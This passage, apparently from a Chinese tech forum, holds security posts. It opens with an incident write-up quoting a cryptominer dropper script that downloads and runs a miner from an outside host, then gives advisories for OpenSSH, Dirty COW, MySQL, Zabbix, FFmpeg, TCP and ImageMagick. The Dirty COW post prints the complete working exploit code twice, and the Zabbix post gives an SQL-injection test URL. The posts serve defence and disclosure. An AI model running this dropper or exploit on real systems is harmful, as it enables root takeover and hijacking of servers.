#chmod +x /opt/yam && /opt/yam -c x -M stratum+tcp://4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC:x@xmr.crypto-pool.fr:443/xmr
#fi
#fi

DoMiner()
{
if [ ! -f "/tmp/AnXqV" ]; then
curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV
fi
chmod +x /tmp/AnXqV
/tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x
}
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC" || DoMiner


DoRedis6379()
{
iptables -F REDIS6379
iptables -A REDIS6379 -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 0.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 10.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 169.254.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 172.16.0.0/12 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 192.168.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 224.0.0.0/4 -p tcp --dport 6379 -j ACCEPT
iptables -A REDIS6379 -p TCP --dport 6379 -j REJECT
iptables -I INPUT -j REDIS6379
}
iptables -D OUTPUT -j REDIS6379
iptables -F REDIS6379
iptables -X REDIS6379
iptables -D INPUT -j REDIS63792
iptables -F REDIS63792
iptables -X REDIS63792
#iptables -N REDIS6379 && DoRedis6379
解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限。


商业模式


被植入比特币“挖矿木马”的电脑,系统性能会受到较大影响,电脑操作会明显卡慢、散热风扇狂转;另一个危害在于,“挖矿木马”会大量耗电,并造成显卡、CPU等硬件急剧损耗。比特币具有匿名属性,其交易过程是不可逆的,被盗后根本无法查询是被谁盗取,流向哪里,因此也成为黑客的重点窃取对象。


攻击&防御


植入方式:安全防护策略薄弱,利用Jenkins、Redis等中间件的漏洞发起攻击,获得root权限。
最好的防御可能还是做好防护策略、严密监控服务器资源消耗(CPU/load)。
这种木马很容易变种,很多情况杀毒软件未必能够识别。

OpenSSH 远程代码执行漏洞安全预警

开源技术Geek小A 发表了文章 • 0 个评论 • 135 次浏览 • 2016-12-22 15:27 • 来自相关话题

概述

12 月 19 日,国外漏洞平台 securityfocus 上发布了最新的 OpenSSH(CVE-2016-10009) 远程代码执行漏洞。官方发布的openssh 7.4版本已经修复此漏洞,同时还修复了CVE-2016-10010、CVE-2016-10011、CVE-2016-10012和CVE-2016-8858。 请检查您使用版本是否在影响范围之内,并及时升级。
 

影响范围

OpenSSH 5.0 – 7.3
 

修复方案

请在升级前做好快照和文件备份,防止出现意外事件
1、升级到官网发布的 OpenSSH 7.4版本
注:升级openssh需要先将OpenSSL和Zlib升级到新版本
 

漏洞详情

CVE-2016-10009:黑客可通过此漏洞执行远程代码,或导致数据泄露。问题出在 ssh-agent ,这个进程默认不启动、只在多主机间免密码登录时才会用到,漏洞利用条件也比较苛刻,攻击者需要有控制agent-sock的权限和文件系统的写权限。官方漏洞评级为“中危”。

可以通过查看系统中是否有名为“ssh-agent ”的进程判断是否启用ssh-agent。

注:OpenSSH 7.4 已于 2016 年 12 月 19 日正式发布,新版本移植了在 Linux、BSD、以及其它类 Unix 平台上 SSH 2.0 协议的完整支持,主要修复了上一个版本中发现的 bug 和安全问题。需注意的是,7.4 版本的各项底层变化,有可能会影响现有的配置。

参考链接
https://www.openssh.com/txt/release-7.4 
http://seclists.org/oss-sec/2016/q4/708  查看全部
openssh.png


概述


12 月 19 日,国外漏洞平台 securityfocus 上发布了最新的 OpenSSH(CVE-2016-10009) 远程代码执行漏洞。官方发布的openssh 7.4版本已经修复此漏洞,同时还修复了CVE-2016-10010、CVE-2016-10011、CVE-2016-10012和CVE-2016-8858。 请检查您使用版本是否在影响范围之内,并及时升级。
 


影响范围


OpenSSH 5.0 – 7.3
 


修复方案


请在升级前做好快照和文件备份,防止出现意外事件
1、升级到官网发布的 OpenSSH 7.4版本
注:升级openssh需要先将OpenSSL和Zlib升级到新版本
 


漏洞详情


CVE-2016-10009:黑客可通过此漏洞执行远程代码,或导致数据泄露。问题出在 ssh-agent ,这个进程默认不启动、只在多主机间免密码登录时才会用到,漏洞利用条件也比较苛刻,攻击者需要有控制agent-sock的权限和文件系统的写权限。官方漏洞评级为“中危”。

可以通过查看系统中是否有名为“ssh-agent ”的进程判断是否启用ssh-agent。

注:OpenSSH 7.4 已于 2016 年 12 月 19 日正式发布,新版本移植了在 Linux、BSD、以及其它类 Unix 平台上 SSH 2.0 协议的完整支持,主要修复了上一个版本中发现的 bug 和安全问题。需注意的是,7.4 版本的各项底层变化,有可能会影响现有的配置。

参考链接
https://www.openssh.com/txt/release-7.4 
http://seclists.org/oss-sec/2016/q4/708 

CVE-2016-5195脏牛漏洞:Linux内核通杀提权漏洞

开源技术Geek小A 发表了文章 • 0 个评论 • 338 次浏览 • 2016-10-21 12:17 • 来自相关话题

漏洞描述

漏洞编号:CVE-2016-5195

漏洞名称:脏牛(Dirty COW)

漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权

影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。

为什么这个漏洞叫脏牛(Dirty COW)漏洞?

Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。

漏洞相关细节​

漏洞细节:https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
根据RedHat公司的报告称:目前已经在野外发现针对这个漏洞的利用技术。但是到目前为止,我们没有更进一步的消息。    https://access.redhat.com/security/vulnerabilities/2706661Commit messages:
commit 4ceb5db9757aaeadcf8fbbf97d76bd42aa4df0d6
Author: Linus Torvalds <torvalds@g5.osdl.org>
Date: Mon Aug 1 11:14:49 2005 -0700修复get_user_pages()写访问竞争条件:
如果一个更新来自其他线程结束修改页表,handle_mm_fault()将可能结束需要我们重新操作。handle_mm_fault()没有真正的防护一直能够破坏COW。这样看起来是不错的,但是get_user_pages()结束后会重新读,使get_user_pages()一直重写的话,需要dirty bit 设置,最简单的解决竞争条件的办法是,如果COW的break因为某些原因失败,我们能够继续循环继续尝试。commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date: Thu Oct 13 20:07:36 2016 GMT这是一个年代久远的BUG了,我在7年前已经曾经尝试修复过一次了(commit 4ceb5db9757a),但是由于一些问题(commit f33ea7f404e5)又回滚了。这次,我们对pte_dirty()位做了检测。

Linux各发行版本对于该漏洞相关信息

Red Hat:https://access.redhat.com/security/cve/cve-2016-5195 
Debian :https://security-tracker.debian.org/tracker/CVE-2016-5195 
Ubuntu :http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-5195.html

受影响的范围

这个漏洞自从内核2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。

如何修改该漏洞

Linux团队正在积极的修复此漏洞,可以通过系统更新到最新发行版修复此漏洞。软件开发人员也可以通过
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 重新编译Linux修复此漏洞。

如何发现有人利用该漏洞攻击我?

利用这个Bug不会在日志里留下异常信息。但是部分安全社区已经部署蜜罐,如果有攻击者利用此漏洞,将会触发告警。

谁发现的这个漏洞?

Phil Oester (https://access.redhat.com/security/cve/CVE-2016-5195 )
对于该漏洞作者甚至申请了独立的:网站、twitter帐号、github帐号、并找专人设计了Logo
作者对此的解释是:我们对建立有品牌的漏洞充满了乐趣,但是也许在这个时间点,这不是一个好主意。但是为了表明我们的立场,我才创建了网站,在线商店,twiiter帐号,以及请专业设计师为这个漏洞设计了LOGO。
 
2016.10.21 9:10更新POC:
POC地址:https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}


int main(int argc,char *argv)
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<3)return 1;
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %x\n\n",map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}
转载:安全客 , 参考:https://www.grahamcluley.com/dirty-cow-linux-vulnerability-need-know/ 查看全部
dirtycow.jpeg


漏洞描述


漏洞编号:CVE-2016-5195

漏洞名称:脏牛(Dirty COW)

漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权

影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。


为什么这个漏洞叫脏牛(Dirty COW)漏洞?


Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。


漏洞相关细节​


漏洞细节:https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
根据RedHat公司的报告称:目前已经在野外发现针对这个漏洞的利用技术。但是到目前为止,我们没有更进一步的消息。    https://access.redhat.com/security/vulnerabilities/2706661
Commit messages:
commit 4ceb5db9757aaeadcf8fbbf97d76bd42aa4df0d6
Author: Linus Torvalds <torvalds@g5.osdl.org>
Date: Mon Aug 1 11:14:49 2005 -0700
修复get_user_pages()写访问竞争条件:
如果一个更新来自其他线程结束修改页表,handle_mm_fault()将可能结束需要我们重新操作。handle_mm_fault()没有真正的防护一直能够破坏COW。这样看起来是不错的,但是get_user_pages()结束后会重新读,使get_user_pages()一直重写的话,需要dirty bit 设置,最简单的解决竞争条件的办法是,如果COW的break因为某些原因失败,我们能够继续循环继续尝试。
commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date: Thu Oct 13 20:07:36 2016 GMT
这是一个年代久远的BUG了,我在7年前已经曾经尝试修复过一次了(commit 4ceb5db9757a),但是由于一些问题(commit f33ea7f404e5)又回滚了。这次,我们对pte_dirty()位做了检测。


Linux各发行版本对于该漏洞相关信息


Red Hat:https://access.redhat.com/security/cve/cve-2016-5195 
Debian :https://security-tracker.debian.org/tracker/CVE-2016-5195 
Ubuntu :http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-5195.html


受影响的范围


这个漏洞自从内核2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。


如何修改该漏洞


Linux团队正在积极的修复此漏洞,可以通过系统更新到最新发行版修复此漏洞。软件开发人员也可以通过
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 重新编译Linux修复此漏洞。


如何发现有人利用该漏洞攻击我?


利用这个Bug不会在日志里留下异常信息。但是部分安全社区已经部署蜜罐,如果有攻击者利用此漏洞,将会触发告警。


谁发现的这个漏洞?


Phil Oester (https://access.redhat.com/security/cve/CVE-2016-5195 )
对于该漏洞作者甚至申请了独立的:网站、twitter帐号、github帐号、并找专人设计了Logo
作者对此的解释是:我们对建立有品牌的漏洞充满了乐趣,但是也许在这个时间点,这不是一个好主意。但是为了表明我们的立场,我才创建了网站,在线商店,twiiter帐号,以及请专业设计师为这个漏洞设计了LOGO。
 
2016.10.21 9:10更新POC:
POC地址:https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c
/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}


int main(int argc,char *argv)
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<3)return 1;
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %x\n\n",map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}

转载:安全客 , 参考:https://www.grahamcluley.com/dirty-cow-linux-vulnerability-need-know/

MySQL远程代码执行漏洞安全预警

开源技术Geek小A 发表了文章 • 0 个评论 • 218 次浏览 • 2016-10-11 13:53 • 来自相关话题

MySQL最近爆出高危漏洞CVE-2016-6662,可导致远程代码执行/权限提升。
 
影响范围:MySQL <= 5.7.15,
<=5.6.33,
<= 5.5.52PerconaDB与MariaDB也受此漏洞影响。

修复方案:
1.oracle官网发布mysql修复补丁后立即升级版本。PerconaDB与MariaDB官网已经发布补丁,请升级到最新版本。下载地址分别如下:
https://mariadb.org/download/ 
https://www.percona.com/downloads/ 

2.暂时的缓解策略:
修改MySQL所有用户密码为复杂密码;
关闭MySQL普通用户的File文件访问权限;
以root用户身份创建一个虚假my.cnf文件;
 
 
漏洞详情:
攻击者通过一个拥有File权限的MySQL普通用户将恶意库文件路径插入到MySQL配置文件的malloc_lib变量中,当MySQL服务重启时就可以加载恶意库文件实现以root权限执行任意代码。
 
漏洞利用条件:
攻击者可以在配置文件中注入恶意配置;上传恶意的so到lib库中;db重启(重新加载恶意配置)。
 
 
验证方法参考:http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html 查看全部
bug.png

MySQL最近爆出高危漏洞CVE-2016-6662,可导致远程代码执行/权限提升。
 
影响范围:
MySQL <= 5.7.15,
<=5.6.33,
<= 5.5.52
PerconaDB与MariaDB也受此漏洞影响。

修复方案:
1.oracle官网发布mysql修复补丁后立即升级版本。PerconaDB与MariaDB官网已经发布补丁,请升级到最新版本。下载地址分别如下:
https://mariadb.org/download/ 
https://www.percona.com/downloads/ 

2.暂时的缓解策略:
修改MySQL所有用户密码为复杂密码;
关闭MySQL普通用户的File文件访问权限;
以root用户身份创建一个虚假my.cnf文件;
 
 
漏洞详情:
攻击者通过一个拥有File权限的MySQL普通用户将恶意库文件路径插入到MySQL配置文件的malloc_lib变量中,当MySQL服务重启时就可以加载恶意库文件实现以root权限执行任意代码。
 
漏洞利用条件:
  1. 攻击者可以在配置文件中注入恶意配置;
  2. 上传恶意的so到lib库中;
  3. db重启(重新加载恶意配置)。

 
 
验证方法参考:http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

FFMpeg和Zabbix暴露的漏洞

开源技术Geek小A 发表了文章 • 0 个评论 • 315 次浏览 • 2016-08-22 18:17 • 来自相关话题

一、FFMpeg缓冲区溢出高危漏洞安全预警

FFMpeg发布新版本,修复了之前版本存在的高危漏洞,请您及时修补。
 
影响范围:
FFMpeg <=3.1.1,且使用了swf解析模块。
 
修复方案:
升级到版本FFMpeg 3.1.2
 
漏洞详情:
FFMpeg在解码swf文件时存在一个缓冲区溢出高危漏洞(CVE-2016-6671)。漏洞主要存在于在对swf文件进行raw解码时,计算解码后的数据大小存在错误,导致写入数据的大小超过申请内存空间的大小,造成缓冲区内存溢出。该漏洞在一定条件下能导致任意代码执行。
 
参考:http://seclists.org/oss-sec/2016/q3/271
 

二、zabbix的SQL注入高危漏洞

近日,zabbix被爆出两个高危SQL注入漏洞,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。
 
影响范围:
攻击成本:低
危害程度:高
是否登陆:不需要
影响范围:2.2.x, 3.0.0-3.0.3。(其他版本未经测试)
 
漏洞测试:
在zabbix的访问地址后面加上如下url:
/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim
estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi
story.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfil
e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=
17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&
mark_color=1输出结果,出现如下图黄色关键字表示漏洞存在:




 
补充:
以上为仅为漏洞验证测试方式。攻击者可以通过进一步构造语句进行错误型sql注射,无需获取和破解加密的管理员密码。有经验的攻击者可以直接通过获取admin的sessionid来根据结构算法构造sid,替换cookie直接以管理员身份登陆。
 
修复方案:升级到最新版吧,据说3.0.4版本已经修补,但是我发现并没有,所以如果你是nginx,可以在server段加下面试试,然后打开日志,看看有没有误判,这是临时暴力解决方案
if ($request_uri ~ ^(.+\.php)(.*)$) {
set $req $2;
}
if ($req ~* "union[+|(%20)]") {
return 503;
}
if ($req ~* "and[+|(%20)]") {
return 503;
}
if ($req ~* "select[+|(%20)]") {
return 503;
}
 漏洞详情:
zabbix jsrpc.php的profileIdx2参数和latest.php的toggle_ids参数均存在SQL注入,属于高危漏洞。在开启Guest或者无用户的情况下不需要登录即可实现注入(默认开启Guest,且Guest默认密码为空);未开启Guest和有用户的情况下则需要鉴权通过方可实现注入。攻击者可以完全获取数据库中信息,获取管理员身份,甚至控制服务器权限。更多详情见:http://seclists.org/fulldisclosure/2016/Aug/82 查看全部


一、FFMpeg缓冲区溢出高危漏洞安全预警


FFMpeg发布新版本,修复了之前版本存在的高危漏洞,请您及时修补。
 
影响范围:
FFMpeg <=3.1.1,且使用了swf解析模块。
 
修复方案:
升级到版本FFMpeg 3.1.2
 
漏洞详情:
FFMpeg在解码swf文件时存在一个缓冲区溢出高危漏洞(CVE-2016-6671)。漏洞主要存在于在对swf文件进行raw解码时,计算解码后的数据大小存在错误,导致写入数据的大小超过申请内存空间的大小,造成缓冲区内存溢出。该漏洞在一定条件下能导致任意代码执行。
 
参考:http://seclists.org/oss-sec/2016/q3/271
 


二、zabbix的SQL注入高危漏洞


近日,zabbix被爆出两个高危SQL注入漏洞,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。
 
影响范围
攻击成本:低
危害程度:高
是否登陆:不需要
影响范围:2.2.x, 3.0.0-3.0.3。(其他版本未经测试)
 
漏洞测试:
在zabbix的访问地址后面加上如下url:
/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim
estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi
story.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfil
e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=
17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&
mark_color=1
输出结果,出现如下图黄色关键字表示漏洞存在:
zabbix_bug.png

 
补充:
  • 以上为仅为漏洞验证测试方式。
  • 攻击者可以通过进一步构造语句进行错误型sql注射,无需获取和破解加密的管理员密码。
  • 有经验的攻击者可以直接通过获取admin的sessionid来根据结构算法构造sid,替换cookie直接以管理员身份登陆。

 
修复方案:升级到最新版吧,据说3.0.4版本已经修补,但是我发现并没有,所以如果你是nginx,可以在server段加下面试试,然后打开日志,看看有没有误判,这是临时暴力解决方案
       if ($request_uri ~ ^(.+\.php)(.*)$) {
set $req $2;
}
if ($req ~* "union[+|(%20)]") {
return 503;
}
if ($req ~* "and[+|(%20)]") {
return 503;
}
if ($req ~* "select[+|(%20)]") {
return 503;
}

 漏洞详情:
zabbix jsrpc.php的profileIdx2参数和latest.php的toggle_ids参数均存在SQL注入,属于高危漏洞。在开启Guest或者无用户的情况下不需要登录即可实现注入(默认开启Guest,且Guest默认密码为空);未开启Guest和有用户的情况下则需要鉴权通过方可实现注入。攻击者可以完全获取数据库中信息,获取管理员身份,甚至控制服务器权限。更多详情见:http://seclists.org/fulldisclosure/2016/Aug/82

Tcp信道远程劫持漏洞安全预警

开源技术Geek小A 发表了文章 • 0 个评论 • 286 次浏览 • 2016-08-16 21:26 • 来自相关话题

近日研究者发现Linux内核存在Tcp协议安全漏洞(CVE-2016-5696) ,可导致网络流量被劫持。

漏洞详情​

TCP通信的安全加强标准RFC5961的实施存在一些弱点,导致Linux内核的TCP实现中的挑战应答存在信息泄露的风险。该漏洞采用边信道攻击方案,可以确认互联网上的任意两台主机是否通过TCP连接进行通讯(并发现端口号),以及推测出TCP报文头的序列号(sequence number),这样一来就能强制终止双方的连接,甚至在连接中插入恶意payload了。如果漏洞被恶意利用,攻击者能够劫持未加密的网络流量,破坏一些加密通信。但是攻击者需要知道服务器和客户端双方TCP通信的源IP地址、目标IP地址、源端口、目标端口,还需要猜测出处于in-window的TCP序列号,才能对连接进行重置或者注入恶意数据。Linux 内核版本3.6-4.7受到该漏洞的影响。
 

影响对象

Linux 内核版本3.6-4.7:
CentOS和Red Hat版本6、7受影响Ubuntu 12.04 (LTS)、14.04 (LTS)、16.04 (LTS)受影响; Debian7、8受影响
 

防御方法

采用sysctl将挑战应答极限值提高到较大范围,使得攻击者不能合理地达到它,因此不能推断出客户服务器连接的任何附加数据,以此达到防御目的。
 
1、设置 /etc/sysctl.conf 中的net.ipv4.tcp_challenge_ack_limit 到一个较大的值(如999999999):
net.ipv4.tcp_challenge_ack_limit = 9999999992、加载设置
sysctl -p参考:

http://www.cs.ucr.edu/~zhiyunq/pub/sec16_TCP_pure_offpath.pdf 

https://access.redhat.com/security/cve/cve-2016-5696 

https://blogs.akamai.com/2016/08/vulnerability-in-the-linux-kernels-tcp-stack-implementation.html 

https://bobcares.com/blog/fix-linux-off-path-tcp-attacks-cve-2016-5696 查看全部
近日研究者发现Linux内核存在Tcp协议安全漏洞(CVE-2016-5696) ,可导致网络流量被劫持。


漏洞详情​


TCP通信的安全加强标准RFC5961的实施存在一些弱点,导致Linux内核的TCP实现中的挑战应答存在信息泄露的风险。该漏洞采用边信道攻击方案,可以确认互联网上的任意两台主机是否通过TCP连接进行通讯(并发现端口号),以及推测出TCP报文头的序列号(sequence number),这样一来就能强制终止双方的连接,甚至在连接中插入恶意payload了。如果漏洞被恶意利用,攻击者能够劫持未加密的网络流量,破坏一些加密通信。
但是攻击者需要知道服务器和客户端双方TCP通信的源IP地址、目标IP地址、源端口、目标端口,还需要猜测出处于in-window的TCP序列号,才能对连接进行重置或者注入恶意数据。
Linux 内核版本3.6-4.7受到该漏洞的影响。
 


影响对象


Linux 内核版本3.6-4.7:
  • CentOS和Red Hat版本6、7受影响
  • Ubuntu 12.04 (LTS)、14.04 (LTS)、16.04 (LTS)受影响;
  •  Debian7、8受影响

 


防御方法


采用sysctl将挑战应答极限值提高到较大范围,使得攻击者不能合理地达到它,因此不能推断出客户服务器连接的任何附加数据,以此达到防御目的。
 
1、设置 /etc/sysctl.conf 中的net.ipv4.tcp_challenge_ack_limit 到一个较大的值(如999999999):
net.ipv4.tcp_challenge_ack_limit = 999999999
2、加载设置
sysctl -p
参考:


http://www.cs.ucr.edu/~zhiyunq/pub/sec16_TCP_pure_offpath.pdf 

https://access.redhat.com/security/cve/cve-2016-5696 

https://blogs.akamai.com/2016/08/vulnerability-in-the-linux-kernels-tcp-stack-implementation.html 

https://bobcares.com/blog/fix-linux-off-path-tcp-attacks-cve-2016-5696


ImageMagick高危漏洞安全

开源技术Geek小A 发表了文章 • 0 个评论 • 392 次浏览 • 2016-05-24 10:18 • 来自相关话题

广泛使用的图像处理软件ImageMagick今日被爆出一个高危漏洞(CVE-2016-3714),攻击者可以通过上传恶意图片文件的方式利用该漏洞,在服务器执行任意代码,完全控制目标服务器。目前已知有Wordpress,Discuz!等知名应用受影响。
影响范围: 
ImageMagick <= 6.9.3-9
漏洞修复: 
    官网下载最新版本的ImageMagick并在本地安装。下载地址 查看全部

广泛使用的图像处理软件ImageMagick今日被爆出一个高危漏洞(CVE-2016-3714),攻击者可以通过上传恶意图片文件的方式利用该漏洞,在服务器执行任意代码,完全控制目标服务器。目前已知有Wordpress,Discuz!等知名应用受影响。
影响范围: 
ImageMagick <= 6.9.3-9
漏洞修复: 
    官网下载最新版本的ImageMagick并在本地安装。下载地址

FFmpeg 2.x 远程文件读取漏洞

开源技术Rock 发表了文章 • 0 个评论 • 464 次浏览 • 2016-05-11 00:14 • 来自相关话题

漏洞描述:
FFmpeg 2.x是一款多媒体编码、解码框架,近日爆出高危漏洞可远程窃取本地文件,漏洞编号:CVE-2016-1897、CVE-2016-1898。 此漏洞允许攻击者通过上传构造的hls切片索引文件,远程窃取服务器端本地文件。
 
影响范围:
FFmpeg 2.8.x系列小于2.8.5;
FFmpeg 2.7.x系列小于2.7.5;
FFmpeg 2.6.x系列小于2.6.7;
FFmpeg 2.5.x系列小于2.5.10。
 
漏洞修复:
升级FFmpeg至最新版本:
FFmpeg 2.8.x系列升级至2.8.5或以上;
FFmpeg 2.7.x系列升级至2.7.5或以上;
FFmpeg 2.6.x系列升级至2.6.7或以上;
FFmpeg 2.5.x系列升级至2.5.10或以上。 查看全部
漏洞描述:
FFmpeg 2.x是一款多媒体编码、解码框架,近日爆出高危漏洞可远程窃取本地文件,漏洞编号:CVE-2016-1897、CVE-2016-1898。 此漏洞允许攻击者通过上传构造的hls切片索引文件,远程窃取服务器端本地文件。
 
影响范围:
FFmpeg 2.8.x系列小于2.8.5;
FFmpeg 2.7.x系列小于2.7.5;
FFmpeg 2.6.x系列小于2.6.7;
